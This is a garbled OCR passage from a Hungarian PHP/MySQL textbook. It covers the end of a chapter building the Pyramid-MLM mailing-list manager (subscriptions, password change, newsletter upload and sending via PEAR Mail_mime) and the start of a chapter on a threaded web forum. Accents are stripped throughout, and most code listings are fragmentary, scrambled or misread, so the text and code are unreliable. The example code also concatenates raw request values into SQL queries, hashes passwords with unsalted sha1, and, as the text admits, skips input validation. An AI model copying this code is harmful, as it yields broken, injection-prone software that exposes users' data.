kuldve";
if($kapcsolat=adatbazishoz kapcsolodas())
$eredmeny = $kapcsolat->query($lekerdezes);
if (! $eredmeny)
499
$num = $eredmeny->num_rows;
for($i = 0;
$i<$num;
$i++)
$sor = $eredmeny->fetch_array();
$tomb_sor = array($sor[O],
$listanev,
array_push($lista,
$sor[l),
$listaiD);
$tomb_sor);
return $lista;
Megint csak az trtnik, hogy a fggvny begyjti az adatbzisbl a szksges informcit- jelen esetben az elkldtt hrle
velek adatait-,majd ltrehozza az elemek_megjelenitese() fggvnynek paramterknt tadhat tmbt.
Fel- s leiratkozs
A levelezlistk 30.7 brn lthat listjn mindegyik levelezlisthoz tartozik egy olyan gomb,amire kattintva a felhasznl
feliratkozhat az adott listra. Hasonlkppen, ha a felhasznl a,,S;yt listk megjelentse" gombra kattintva megtekinti azok
nak a levelezlistknak a listjt, amelyekre mr feliratkozott, minden levelezlista mellett egy .,Leiratkozs" gombot lthat.
Ezek a gombok a feliratkozas s a leiratkozas mveletet vltjk ki,amelyek az albbi kdrszleteket hvjk meg:
case 'feliratkozas':
feliratkozas(email_lekerese(),
$_GET['id'));
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacio',
'archivum-megjelenitese',
'leiratkozas');
break;
case
'leiratkozas':
leiratkozas(email lekerese(),
$_GET['id']);
elemek_megjelenitese('Megrendelt levelezlistk',
feliratkozott_listak_lekerese(email_lekerese()),
'informacio',
'archivum-megjelenit ese',
'leiratkozas');
break;
Mindkt esetben egy fggvnyt hvunk meg ( feliratkozas () vagy leiratkozas ()),majd az elemek_
megjelenitese() fggvny ismtelt meghvsval jra megjelentjk azoknak a levelezlistknak a listjt,amelyekre a fel
hasznl feliratkozott.
A feliratkozas() s a leiratkozas() fggvny kdjt a 30.12 pldakdban talljuk
30.12 pldakd: Az mlm_fuggvenyek. php
l l
l l
(!$listaiD)
$listaiD)
l l
(!letezo_lista($listaiD))
(!letezo_felhasznalo($email) ))
return false;
ll ha mr feliratkozott,
akkor kilps
if(feliratkozott($email,
$listaiD))
return false;
30
500
30. fejezet
if(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;
$lista!D)";
$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;
ll
function leiratkozas($email,
30
if (
( 1 $email) l l
$listaiD)
(! $lista!D))
return false;
if
(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;
$lekerdezes
"DELETE
email='".$email."'
AND listaiD='".$listaiD."'";
$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;
mime tipus
lekerese(email
lekerese()));
break;
Lthatjuk, hogy jbl a-korbban mr a felhasznli fik ltrehozshoz hasznlt- fiok_urlap_megj elen i tese( )
fuggvnyt hvjuk meg. Jelen esetben azonban a felhasznl meglv adatait adjuk neki t, amelyek a knny szerkeszthetsg
rdekben megjelennek az rlapban. Amikor a felhasznl az rlapkldsi gombra kattint, a korbban mr bemutatott
tarolasa'
'
fiok
Jelszavak megvltoztatsa
A Jelszvltoztats" gombra kattintssal a felhasznl a 'j elszo-valtoztatas' mveletet hvja meg, amivel az albbi
..
'jelszo-valtoztatas':
jelszo_urlap_megjelenitese();
break;
A kimeneti_fuggvenyek. php knyvtr jelszo _urlap_megjelenitese() fuggvnye pusztn egy rlapot jelent
meg, amit a felhasznl jelszava megvltoztatsra hasznlhat. Az rlapot a 30.9 brn ltjuk.
501
$_POST['elozo jelszo'],
$_POST['uj_jelszo2']))
SOpx\">OK:
jelszavt megvltoztattuk.</p>";
else
echo "<p style=\"padding-bottom:
SOpx\">Sajnljuk,
jelszavt
break;
A fenti sorokbl kiderl, hogy a kd a j elszo _valtoztatas () fggvnnyel prblja meg megvltoztatni a jelszt,
aminek eredmnyrl tjkoztatja a felhasznlt. A 30.13 pldakdban lthat jelszo_valtoztatas () fggvny
a
$elozo_jelszo,
$uj_jelszo,
$uj_jelszo_megerositese)
s true,
$elozo_jelszo))
if($uj_jelszo==$uj_jelszo_megerositese)
if (!($kapcsolat = adatbazishoz_kapcsolodas()))
return false;
$lekerdezes
"UPDATE felhasznalek
SET jelsze = shal('".$uj_jelszo."')
WHERE email = '".$email."'";
$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;
30
502
30. fejezet
else
echo "<p>A jelszavak nem egyeznek meg.</p>";
else
echo "<p>A rgi jelszava nem megfelel6.</p>";
return false;
Ez a fggvny igen hasonl a korbban mr ltott jelszvltoztat fggvnyekhez. Ellenrzskppen sszehasonltja a felhasz
nl ltal megadott kt j jelszt, majd egyezsgk esetn megprblja mdostani az adatbzisban a felhasznl jelszavt.
30
Kijelentkezs
A Kijelentkezs" gombra kattint felhasznl a 'kijelentkezes'
"
==
'kijelentkezes')
unset{$muvelet);
S_SESSION=array{);
session_destroy{);
Ez a kdrszlet trli a munkamenet-vltozkat, s megsznteri a munkamenetet. Figyeljk meg, hogy egyttal a muvelet
vltozt is felszabadtja! Ez azt jelenti, hogy mvelet nlkl lpnk be a f case utastsba, az albbi kdot kivltva ezzel:
default:
if{ 1 bejelentkezes ellenorzese{) )
bejelentkezesi_urlap_megjelenitese{$muvelet);
break;
A fenti kd futtatsnak eredmnyeknt brki ms bejelentkezhet, illetve az imnt kilpett felhasznl bejelentkezhet ms
nven.
30.10 bra: Az adminisztrtori menvel levelezlistkat hozhatunk ltre, illetve kezelhetjk a meglvket.
503
j levelezlista ltrehozsa
Ha az adminisztrtor gy dnt, hogy a Lista ltrehozsa" gombra katrinrva j levelezlistt llt be, a
"
mveletet hajga vgre, ami az albbi kdot hvja meg:
letrehozasa
levelezolista
case 0levelezolista-letrehozasa0:
lista_urlap_megjelenitese(email_lekerese());
break;
lista-tarolasa
$_POST))
osszes_lista _lekerese()
informacie
o,
0archivum-megjelenitese0, 00);
else
echo "<p style=\"padding-bottom:
break;
30.11 bra: A "Lista ltrehozsa" rlapon az adminisztrtornak az j levelezlista nevt s lerst kell megadnia.
Lthat, hogy a kd megksrli eitroini az j levelezlista adatait, majd megjelenti a levelezlistknak az j elemmel bv
tett listjt. A lista adatait a 30.14 pldakdban lthat lista_tarolasa () fggvnnyel mentjk el.
30.14 pldakd: Az mlm_fuggvenyek. php knyvtr lista_tarolasa ()fggvnye- Ez afggvny szrja be az adatb
zisba az j levelezlistkat
function lista_tarolasa($admin_felhasznalo,
if (!kitoltott($adatok))
$adatok)
Krjk,
return false;
else
if(!admin_felhasznalo_ellenorzese($admin_felhasznalo))
return false;
ll hogy hvta meg ezt a fggvnyt olyan valaki,
if(! ($kapcsolat=adatbazishoz_kapcsolodas()))
return false;
30
504
30. fejezet
'".$adatok['nev'l."'";
$kapcsolat->query($lekerdezes);
$sor = $eredmeny->fetch_array();
if($sor[Ol
> 0)
echo "<p>Sajnljuk,
return false;
$lekerdezes
"',
'".$adatok['leiras' l "'l";
.
30
$eredmeny = $kapcsolat->query($lekerdezes);
return $eredmeny;
A fuggvny csak nmi ellenrzst kveten rja az adatokat az adatbzisba. Elszr is megnzi, hogy minden adatmez ki
lett-e tltve, az aktulis felhasznl valban adminisztrtor-e, illetve egyedi-e a levelezlista neve. Ha minden rendben van, az
j levelezlistt hozzadja az adatbzis listak tbljhoz.
j hrlevl feltltse
Vgre elrkeztnk az alkalmazs velejhez, ami nem ms, mint a hrlevelek feltltse s kikldse a levelezlistkra. Amikor
az adminisztrtor a.,Hrlevl ltrehozsa" gombra kattint, a 'hirlevel-letrehozasa' mveletet vltja ki, amelyhez az
albbi kd tartozik:
case 'hirlevel-letrehozasa':
hirlevel_urlap_megjelenitese(email lekerese());
break;
30.12 bra: Az adminisztrtor a .Hrlevl ltrehozsa" oldalon a hrlevlhez szksgesfjlokjeltltsre alkalmas rlapot tall.
Emlkezhetnk r, hogy alkalmazsunk azzal a felttelezssel l, hogy az adminisztrtor korbban mr offline ltrehozta
a hrlevl HTML s szveges verzijt, s klds eltt mindkettt fel fogja tlteni. Ez azzal az elnnyel jr az adminisztrtorok
szmra, hogy az ltaluk kedvelt szoftverben alkothatjk meg hrleveleiket. Levelezlista-kezel alkalmazsunk ennek kszn
heten szlesebb krben lesz hasznlhat.
Az adminisztrtornak srnos mezt ki kell tltenie ezen az rlapon. Elszr a levelezlistt kell kivlasztania az rlap tetejn
tallhat, legrdl menbl. Eze kveten meg kell adni a hrlevl trgyt; ez kerl majd a kikldend e-mail,.Trgy" sorba.
505
Az sszes tbbi rlapmez fjlfeltltsre szolgl, amit a mellette lv .Tallzs" gomb is jelez. Hrlevl kldshez az admi
nisztrtornak a szveges s a HTML verzit is fel kell tltenie (ez termszetesen tetszs szerint mdosthat). Az rlapon j
nhny tovbbi kpmez is lthat, amelyekkel az adminisztrtor a HTML verziba begyazott kpeket tltheti fel - ha van
nak ilyenek. Minden egyes llomnyt egyenknt kell kivlasztani s feltlteni.
Ez az rlap nagyon hasonl a szoksos fjlfeltltsekhez hasznltakhoz, a klnbsg annyi, hogy jelen esetben tbb fjl fel
tltsre alkalmas. Ez aprbb mdostsokat ignyel az rlap szintaktikjban, illerve az rlap elkldse utn kicsit mskppen
kell kezelnnk a feltlttt fjlokat.
A hirlevel_urlap_megj elenitese () fggvny kdjt a 30.15 pldakd mutatja.
30.15 pldakd; A kimeneti_fuggvenyek.php
$listaiD=O)
30
global $tablazat_szelessege;
$lista=osszes_lista_lekerese();
$listak=sizeof($lista);
'
?>
<table cellpadding="4" cellspacing="O" border="O"
width="<?php echo $tablazat_szelessege;
?>">
$i<$listak;
$i++)
?>"
size="60" /></td>
</tr>
<tr>
<td bgcolor="lcccccc">Szveges vltozat:</td>
<td bgcolor="lcccccc">
<input type="file" name="felhasznaloi_fajl[O]" size="60"/></td>
</tr>
<tr><td bgcolor="lcccccc">HTML vltozat:</td>
<td bgcolor="lcccccc">
<input type="file" name="felhasznaloi fajl[l]" size="60" /><ltd>
506
30. fejezet
</tr>
<tr><td bgcolor="lcccccc" colspan="2">Kpek:
(opcionlis)
<?php
$max kepek=lO;
for($i=O;
$i<l0;
$i++)
30
?>">
?>">
<?php urlap_gomb_megjelenitese('fajlok-feltoltese');
?>
<ltd>
</form>
</tr>
</table>
<?php
J
Figyeljk meg a fenti kdban, hogy a felelteni kvnt fjlok nevt inputok sorozataknt adjuk meg! Az sszes input file
tpus, s nevk felhasznaloi_fajl [O ]-tl felhasznaloi_faj l [nl-ig megy. Lnyegben ugyangy kezeljk ezeket
az
rlapmezket, ahogyan a jellngyzeteket kezelnnk, s a tmbknl megszokott mdon nevezzk el ket. Ha tetszleges
szm f:ijlt kvnunk felelteni PHP kddal, s szeretnnk, ha tmbknt egyszeren rudnnk kezelni ket, akkor ezt a md
szett rdemes kvetni.
Az rlapot feldolgoz kd vgl hr om t m bt ad eredmnyl. Vizsgljuk meg most ezt a kdot!
egyszeren kilpnk
$max_meret = 50000;
include ('beillesztett fuggvenyek.php');
session_start();
ll csak admin felhasznlk tlthetnek fel fjlokat
if(!admin felhasznala_ ellenorzese( ) )
507
'jelszo-megvaltoztatasa';
$gombok[l]
'levelezolista-letrehozasa';
$gombok[2]
'hirlevel-letrehozasa';
$gombok[3]
'hirlevel-megtekintese';
$gombok[4]
'kijelentkezes';
$gombok[5]
'osszes-lista-megjelenitese';
$gombok[6]
'sajat-listak-megjelenitese';
$gombok[7]
'egyeb-listak-megjelenitese';
html_fejlec_letrehozasa('Pyramid-MLM - Fjlfeltlts');
30
eszkozsor_megjelenitese($gombok);
ll ellenrizzk,
a 'szveges verzi'
$lista
$_POST['lista'];
$targy
$_POST['targy'];
NULL,
NULL)";
$eredmeny = $kapcsolat->query($lekerdezes);
if(!$eredmeny)
html_lablec_megjelenitese();
exit;
$kapcsolat->insert_id;
508
30. fejezet
if(!$hirlevellDl
html lablec_megjelenitese();
exit;
ll ez gy van jl
@mkdir('archivel'.$lista,
ll problmt jelent,
0700);
if(!mkdir('archivel'.$lista.'l'.$hirleveliD,
0700))
html_lablec_megjelenitese{);
exit;
30
&&
!='none'))
".$_FILES['felhasznaloi fajl']['name'][$i]."
if ($_FILES['felhasznaloi faj!']['size'][$i]==0)
echo "<p>Hiba trtnt:
ll szeretnnk ellenrizni,
&&
akkor valsznleg az
(!getimagesize($_FILES['felhasznaloi_fajl']['tmp_name'][$i])))
$i++;
continue;
$cel = "archive/".$lista."l".$hirleveliD."/szoveg.txt";
else if($i == l)
$cel
"archive/".$lista."/".$hirleveliD."/index.html";
else
$cel
"archive/".$lista."/".$hirleveliD."/"
.$ FI LES ['felhasznalc faJl']['name'] [$il;
509
$kapcsolat->query($lekerdezes);
html_lablec_megjelenitese();
exit;
30
$cel);
$i++;
\
elonezet_gomb_megjelenitese($lista,
$hirleveliD,
'HTML-elonezete');
elonezet_gomb_megjelenitese($lista,
$hirleveliD,
'szoveges-elonezete');
gomb_megjelenitese('kuldes',
"&id=$hirleveliD");
50px\"> <lp>";
html lablec_megjelenitese();
?>
Menjnk vgig lpsrl lpsre a 30.16 pldakd tartalmn l Elszr is munkamenetet indtunk, s ellenrizzk, hogy a fel
hasznl adminisztrtorknt jelentkezett-e be; erre azrt van szksg, mert senki msnak nem kvnjuk megadni a fjlfeltlts
lehetsgt. Szigoran vve a lista s a hirleveliO vltozt is ellenrizni kellene, hogy nincsenek-e bennk nem kvnt
karakterek, de ettl az egyszersg kedvrt eltekintennk.
Ezt kveten elksztjk s elkldjk az oldalfejlceket, majd ellenrizzk, hogy az rlap megfelelen lett-e kitltve. Ez a l
ps azrt klnsen fontos ebben az esetben, mert a felhasznl meglehetsen sszetett rlappal tallta magt szemben.
Ezutn rgztjk az adatbzisban a hrlevelet, majd ltrehozunk trolsra egy knyvtrat az archvumban.
Ezt kveten jn a kd f rsze, ami egyenknt ellenrzi s thelyezi a feltlttt fjlokat. Ez az a rsz, ami egyszerre tbb fjl
feltltse esetn eltr attl, amit eddigi munknk sorn lttunk. Jelen esetben ngy tmbt kell kezelnnk; ezek neve rendre
$_FILES['felhasznalo_fajl'] ['name'],$_FILES['felhasznaloi_fajl'] ['tmp_name'],
$_FILES [ 'felhasznaloi_fajl' l ['size'] s$ _FILES [ 'felhasznaloi_fajl' ] ['type']. Az egyszeres fjl
feltltskor hasznlt, hasonl nev vltozknak felelnek meg, a klnbsg annyi, hogy itt tmbkkel van dolgunk. Az rlapon
elsknt megadott fjl adatait a$ _FILES['felhasznaloi_fajl' l ['tmp_name' l [O L a $ _FILES['felhasznaloi
Ezen a ngy tmbn elvgezzk a szoksos biztonsgi ellenrzseket, majd thelyezzk az llomnyokat az archvumba.
Vgl megjelentnk az adminisztrtornak nhny gombot, amivel klds eltt megtekintheti a feltlttt hrlevl mindkt
verzijt, illetve elkldheti azt. A feltoltes.ph p kimenett a 30.13 brn ltjuk.
510
30.fezet
30
az
h irleve1-
case thirlevel-megtekinteset:
elemek_megjelenitese(tEl nem kldtt hrlevelekt,
elkldetlen_hirlevel lekerese(email lekerese()),
t HTML-elonezetet,
szoveges-elonezetet,
t kuldes
break;
HTML-elonezete t,
a t szoveges-elonezete t s a
kuldest
fggvnyt, ez alkalommal
Figyeljk meg, hogy az elnzet gombokra kattints nem valamilyen mveletet vlt ki: ezek a gombok kzveclenl az arch
vumban lv, megfelel hrlevlre hivatkoznak! Ha visszalapozunk a 30.7 s a 30.16 pldakdhoz, ltni fogjuk, hogy ezeket
a gombokat a szoksos gomb_ megjelenitese () fggvny helyett
az
() fggvnnyel
hozzuk ltre.
A gomb_megjeleni tese() fggvny kp formjban megjelen hivatkozst hoz ltre valamely kdhoz, az elonezet_
gomb_ megjelenitese
() fggvny ugyanakkor az archvumba mutat, egyszer linket llt el. A HTML horgonycmke
(tag) target="new" attribtumnak ksznheterr ez a hivatkozs j ablakban nylik meg. A 30.14 brn egy hrlevl
HTML verzijnak elnzett lthatjuk.
30.14 bra: Egy HTML hrlevl elnzete a kpekkel egytt jelenik meg.
511
A hrlevl kikldse
A hrlevelek .. Klds" gombjra kattintva a 'kuldes' mveletet vltjuk ki, amely az albbi kdot futtatja:
case ' kuldes' :
kuldes($_GET [ 'id'],
$ SESSION['admin felhasznalo']);
break;
A kd az mlm_fuggvenyek.php knyvtrban tallhat kuldes ( ) fggvnyt hvja meg. Ebben a hossz, a 30.17 plda
r-
$admin_felhasznalo) {
30
if(!admin_felhasznalo_ellenorzese($admin felhasznalo))
return false;
$targy
$info [ 'targy' l ;
$info [ 'allapot'];
$info['elkuldve'];
$felado_neve
'Pyramid MLM';
$felado_cime = 'valasz@cim';
$lekerdezes
'".$listaiD."'";
$kapcsolat = adatbazishoz_kapcsolodas();
$eredmeny = $kapcsolat->query($lekerdezes);
if (! $eredmeny) {
echo $lekerdezes;
return false;
else if ($eredmeny->num_rows==0}
s adjuk t neki
"r");
512
30.fezet
$szoveg
fread($tfp,
files1ze($szoveges fajl_neve));
felcse($tfp);
"archivel".$listaiD."I".$hirleveliD."Iindex.html";
$hfp = fopen($HTML_fajl_neve,
$html = fread($hfp,
"r");
filesize($HTML_fajl_neve));
felcse($hfp);
30
hirleveliO = '".$hirlevel!D."'";
$eredmeny = $kapcsolat->query($lekerdezes);
if(! $eredmeny)
$num = $eredmeny->num_rows;
for($i = 0;
$i<$num;
$i++)
$sor[l];
$kep_tipusa,
true);
array(
'Felad' => $felada,
'Trgy' => $targy);
Mail::factory('mail');
if($allapot == 'TAROLT')
$fejlecek,
$tartalom);
$targy,
$szoveg,
'Felad: "'
513
echo "<p>A teljes levelezlistnak val kldshez kattintson jra a Klds gombra!
<div align=\"center\">";
gomb_megjelenitese('kuldes',
'&id='.$hirleveliD);
l'
echo "<ldiv></p>";
else if($allapot ==
30
'TESZTELT')
$lekerdezes
"SELECT felhasznalok.valodi_nev,
al_listak.email,
felhasznalok.mime tipus
FROM al_listak,
felhasznalak
$eredmeny = $kapcsolat->query($lekerdezes);
if(! $eredmeny)
$szamlalo = O;
ll minden feliratkozottnak
while ($felhasznalo = $eredmeny->fetch row ())
if($felhasznala[2]=='H')
$fejlecek,
$tartalom);
$targy,
'Felad:
$szoveg,
<'.$admin felhasznalo.'>');
$szamlalo++;
kuldve
now()
514
30. fejezet
A fggvny szmos dolgot tesz. Klds eltt tesztlevlben elkldi az adminisztrtornak a hrlevelet, s a hrlevl llapott
az adatbzisban nyomon kvetve feljegyzi, hogy a teszt megtrtnt. Amikor a feltltkd feltlt egy hrlevelet, "TAROLT"-ra
lltja annak llapott.
Ha akuldes () fggvny azt llaptja meg, hogy valamely hrlevlnek "TAROLT" az llapota, "TESZTELT"-re mdostja, s
elkldi az adminisztrtornak a tesztzenetet. A "TES Z TELT" llapot azt jelzi, hogy a hrlevl tesztzenetknt el lett kldve az admi
nisztttomak. Ha az llapot mr "TES z TELT", akkor "ELKULDOTT" -re vltozik, amint a hrlevelet a teljes levelezlistra kikldtk
Ez rtelemszeren azt jelenti, hogy minden egyes hrlevelet ktszer fogunk elkldeni: egyszer teszt mdban, egyszer pedig lesben.
A fggvny radsul krfle e-mailt kld: a szveges verzit a PHP mail () fggvnyvel, illetve a HTML verzit
a Mail_mime osztllyal. A mail() fggvnnyel mr tbbszr tallkezrunk a knyvben, ezrt nzzk meg most azt, hogyan
hasznljuk a Mail_mime osztlyt! Nem fogjuk teljes kren bemutatni ezt az osztlyt, inkbb csak elmagyarzzuk, hogyan
hasznltuk ebben a viszonylag tipikus alkalmazsban.
Azzal kezdjk, hogy beillesztjk az osztlyfjlokat, majd ltrehozzuk a Mail_mime osztly egy pldnyt:
ll PEAR mail osztlyok beillesztse
include('Mail.php');
30
include('Mail/mime.php');
s adjuk t neki
Lthatjuk, hogy kt osztlyfjl lett itt beillesztve. A PEAR ltalnos Mail osztlyt a kd ksbbi rszben, a hrlevl tny
leges elkldsre fogjuk hasznlni. Ez az osztly benne tallhat PEAR-teleptsnkben.
A Mail_mime osztlyt az elkldeni kvnt, MIME formtum zenet ltrehozsra fogjuk hasznlni.
Ezt kveten beolvassuk a hrlevl szveges s HTML verzijt, majd hozzadjuk a Mail_mime osztlyhoz:
ll olvassuk be a hrlevl szveges vltozatt!
$szoveges faJl_neve = "archive/".$listaiD."/".$hrleveliD."/szoveg.txt";
$tfp
fopen($szoveges fajl_neve,
$szoveg = fread($tfp,
"r");
filesize($szoveges fajl_neve));
felcse($tfp);
fopen($HTML_fajl_neve,
$html = fread($hfp,
"r");
filesize($HTML_fajl_neve));
felcse($hfp);
Ezutn betltjk az adatbzisbl a kpadatokat, s ciklussal vgiglpkednk rajruk, hozzadva a kpeket a kldeni kvnt
hrlevlhez:
$num = $eredmeny->num_rows;
for($i = 0;
$i<$num;
$i++)
$kep_tipusa,
$kep_fajl_neve,
true);
Az addHTMLimage () fggvnynek radott paramterek sorrendben: a kpfjl neve (illetve tadhatjuk a kpadatot is),
a kp MIME tpusa, a fjlnv jra, illetve a true rtk, ami azt jelzi, hogy az els paramter fjlnv volt, nem pedig fjladat.
(Ha nyers kpadatot szetetnnk tadni, akkor a paramterek sorrendben: a kpadat, a MIME tpus, egy res paramter s vgl
a false rtk lenne.) A paramterek hasznlata egy ks odafigyelst ignyel.
Ennl a pontnl, az zenet fejlcnek elksztse eltt kell ltrehozni az zenet tartalmr. Ezt a kvetkezkppen tesszk
meg:
515
Ezt kveten a Mail_mime osztly headers(l fggvnyt meghvva hozzuk ltre az zenet fejlct:
ll zenet fejlcnek ltrehozsa
$felada =
<'
.$admin_felhasznalo.'>';
$fejlec_tomb = array(
'Felad' => $felada,
'Trgy' => $targy);
Vgl, rniutn elksztettk az zenetet, elkldhetjk Ehhez ltre kell hozni a PEAR Mail osztlynak egy pldnyt,
amelynek tadhatjuk a ltrehozott zenetet. Els lpsknt ltrehozzuk az osztlypldnyt:
ll a tnyleges kldobjektum ltrehozsa
$kuldo =& Mail::factory('mail');
(Az itt hasznlt 'mail' paramter pusztn kzli a Mail osztllyal, hogy a PHP mail() fggvnyvel kldje az zenete
ket. A paramterben hasznlhatnnk mg a 'sendmail' s az 'smtp' rtket is.)
Ezutn elkldjk a hrlevelet minden feliratkozott felhasznlnak. Ehhez ciklus segtsgvel vgiglpkednk a levelezlistra
feliratkozott minden felhasznln, majd az ltaluk kivlasztott MIME tpusnak megfelelen meghvjuk a ku ldes () vagy a ha
gyomnyos mail (l fggvnyt:
{
if($felhasznalo[2]=='H'l
$fejlecek,
$tartalom);
$targy,
$szoveg,
.$admin felhasznalo.'>');
A $kuldo->kuldes(l els paramtere a felhasznl e-mail cme, a msodik a fejlc, a harmadik pedig az zenet tartalma
kell, hogy legyen.
Kszen is vagyunk! Ezzel befejeztk a levelezlista-kezel alkalmazs ltrehozst.
A projekt tovbbfejlesztse
Akrcsak a korbbi projekteknl, itt is elmondhat, hogy sokflekppen bvthetjk az alkalmazs funkciit. Gondoljuk vgig
a kvetkez lehetsgeket:
Krjnk visszaigazolst a feliratkozsrl, hogy beleegyezse nlkl senkit ne lehessen a levelezlistkra feliratnil Ezt
ltalban a felhasznJk e-mail cmre kldtt visszaigazol zenettel lehet megvalstani: ha valaki nem vlaszol erre az
e-mailre, akkor nem rjuk fel az adott listra. Ezzel a mdszerrel arra is fny derlhet, ha valakinek hibsan kerlt be az
e-mail cme az adatbzisba.
Adjuk meg az adminisztrtornak a lehetsget, hogy jvhagyja vagy elutastsa a felhasznJk feliratkozsi krst!
Tegyk nyltt a levelezlistkat, vagyis engedjk meg azt, hogy brmelyik tag kldhessen zenetet a listra!
Csak a regisztrlt tagoknak tegyk elrhetv a levelezlistk archvumt!
Teremtsle meg a felhasznlknak a levelezlistk kztti keress lehetsgt! Egyes felhasznlkat pldul csak a golffal
kapcsolatos hrlevelek rdekelhetile Amikor a hrlevelek szma bizonyos rtket elr, hasznoss vlik a kzttk val
keress lehetsge.
Tegyk az alkalmazst hatkonyabb, hogy nagy levelezlistkat is kpes legyen kezelni! Ehhez vegynk ignybe olyan
levelezlista-kezelt, rnint pldul az ezmlm, amely tbbszl mkdssel kpes az zeneteket vrakozsi sorba helyezni
s kikldeni! Nem igazn lesz hatkony, ha a mail (l fggvnyt sokszor meghvjuk PHP-ben, ezrt sok taggal br
levelezlistk esetn a PHP nem lesz alkalmas a httrmunkra. A levelezlista fellett ettl fggedenill fejleszthetjk
PHP-ben, de a munka tbbi rszt hagyjuk meg az ezmlm-nek!
Hogyan tovbb
A kvetkez fejezetben olyan webes frumot fejlesztnk, ahol a felhasznJk klnbz tmkban folytathatnak online eszme
csert, illetve oszthatjk meg gondolataikat egymssal.
30
31
Webes frum fejlesztse
Kivl mdszer oldalunk ltogatottsgnak nvelsre, ha felhasznli frumct mkdtetnk. A frumok tbbfle clt szol
glhatnak: lehetnek egyszeren vitafrumok, ahol a tagok megosztjk s megbeszlik egymssal az adott tmrl kialakult
vlemnyket, de ugyangy akr mszaki termktmogats cljra is alkalmasak. Az elttnk ll fejezetben PHP-ben fejlesz
tnk webes frumot. A sajt program fejlesztsnek lehetsges alternativja egy meglv programcsomag, pldul a Phorum
alkalmazsa.
A webes frumok (amiket angolul
webforum, illetve discussion board vagy threaded discussion group nven is szoks emleget
ni) gy mkdnek, hogy valaki adott tmt elindt hozzszlst r, vagy valamilyen krdst tesz fel, amit msok elolvasharnak
s megvlaszolhatnak, illetve hozzszlsaikban kifejthetik a vlemnyket. A frumban tallhat klnbz"beszlgetseket"
tmknak (topikoknak) nevezzk.
Projektnkben a blah-blah nev webes frumct fogjuk ltrehozni. Felhasznlinak lehetv tesszk, hogy
els hozzszlst vagy posztot rva j tmt kezdjenek,
megrekintsk a korbbi hozzszlsokat,
vlaszoljanak a korbbi hozzszlsokra,
szerzjket, cmket, idpontjukat s tartalmukat is feljegyezzk. Els pillantsra ez nem sokban klnbzik a Book-O
Rama adatbzistL
A frumkezel alkalmazsok tbbsge azonban gy mkdik, hogy a meglv hozzszlsokon tlmenen a kzttk
fennll kapcsolatot is kpesek megjelenteni. Ez azt jelenti, hogy lthatjuk, hogy mely hozzszlsok vlaszolnak korbbiakra
(s melyik hozzszlsbl indulnak ki), s melyek azok a hozzszlsok, amelyek j tmt indtanak. Sok helyen ltharunk gy
mkd frumot, pldaknt emltsk meg a Slashdot frumt, ami a http:/ /slashdot.org cmen rhet el!
rdemes alaposan vgiggondolni, hogyan kvnjuk megjelenteni ezeket a kapcsolatokat. Rendszernk felhasznlinak le
hetv kell tenni, hogy megrekinthessenek egy adott hozzszlst, egy ltaluk kivlasztott tmt - ami radsul a benne lv
hozzszlsok kztti kapcsolatokat is megjelenti -, illetve a rendszerben elrhet sszes topikot. A felhasznlknak rudniuk
kell j tmt indtani, illetve korbbi hozzszlsokra vlaszolni. Ez lesz a feladarunk legknnyebb rsze.
A megolds alkotelemei
Ahogy mr jeleztk, az egyes hozzszlsok szerzjnek s szvegnek eltrolsa, illetve visszakeresse egyszer dolog. Az
alkalmazs legnagyobb kihvsa egy olyan adatbzis-szerkezer kigondolsa, amely kpes trolni a kvnt informcit, illetve
megtallni
a
az
ebben a szerkezetben hatkony navigcit jelent mdszert. A hozzszlsok szerkezete egy adott tmn bell
518
3l.fezet
Reply l
Reply
l to Reply l
Reply 2 to Reply l
Reply
Reply 2
Reply 3
l to Reply 3
hozzszlsa lehet j tma els hozzszlsa, de ennl gyakoribb, hogy korbbi hozzszlsra adott vlasz.
Az brbl ltszik, hogy a tmt a legels hozzszls indtja, amire vlaszu! hrom hozzszlst rtak.Ezek kztt is van
olyan hozzszls, amelyre vlaszoltak. Ezekre a vlaszokra is rkezhetnek tovbbi vlaszok, s gy tovbb.
Az brra nzve mr sejthegk, hogy miknt rdemes eltrolni, illetve visszakeresni a hozzszlsok adatait s a hozzsz
lsok kztti kapcsolatokat.Az brnJastruktrt lthatunk. A tapasztalt programozk tudjk, hogy ez az egyik leggyakrabban
hasznlt adatszerkezet.Az brn csompontokat
pontosan gy, mint brmely fastruktrban.(Akkor sem rdemes aggdni, ha nem ismerjk a ft mint adatstruktrt: az ala
pokat tvesszk majd, ahogy haladunk elre a frum fejlesztsvel.)
31
Projektnknek gy kezdnk neki, hogy lttehozzuk a hozzszlsok trolsra szolgl MySQL adatbzist. Ezt kveten
egyszer felhasznli felleteket ksztnk, amelyek a hozzszlsok mentst teszik lehetv.
Amikor berltjk a megtekintend hozzszlsok listjt, rninden egyes hozzszls fejlcr berltjk egy cs omopont
nev PHP osztlyba.Minden csomopont objektum egy hozzszls fejlct, illetve az arra a hozzszlsta adott vlaszok
halmazr fogja tartalmazni.
A vlaszokat tmbben fogjuk trolni. Minden vlasz nmagban is egy csomopont lesz, ami az adott hozzszlsta adott
vlaszok tmbjt tartalmazza, amelyek megint csak csomopont objektumok lesznek, s gy tovbb.Ez a folyamat addig tart,
amg el nem rjk a fa gynevezett levl csompontjait (leaf node), azokat a csompontokat, amelyekre mr nincsen vlasz.Ek
kor a 31.1 brn lthathoz hasonl fastruktrt kapunk.
Jjjn most egy kis terminolgia! A hozzszlst, amire vlaszolunk, az aktulis csompont szl csompongnak nevez
hegk. Egy hozzszlsta rt brmely vlasz az aktulis csompont gyermeke. Ha csaldfaknt kpzeljk el ezt a fastruktrt,
akkor knnyebb lesz megjegyezni ezeket a kifejezseket.A fasttuktra els hozzszlst, amelynek nincsen szlje, szoks
Megjegyzs:Kicsit furcsn hangozhat, hogy az els hozzszlst gykrnek nevezzk, mivel a gykr csompontot ltalban
az ilyen brk tetejre rajzoijuk, az igazi fk gykerei pedig lenn, a talajban helyezkednek eL
A projekthez szksges fasttuktra ltrehozshoz s megjelentshez rekurzv fggvnyeker fogunk rni.(A rekurzirl
A megolds ttekintse
Hogy jobban megrtsk a projekret, rdemes vgigvenni a kdjt, amit rvidesen meg is tesznk.Az alkalmazs a korbbiaknl
kevesebb, m valarnivel bonyolulrabb kdbl ll ssze.
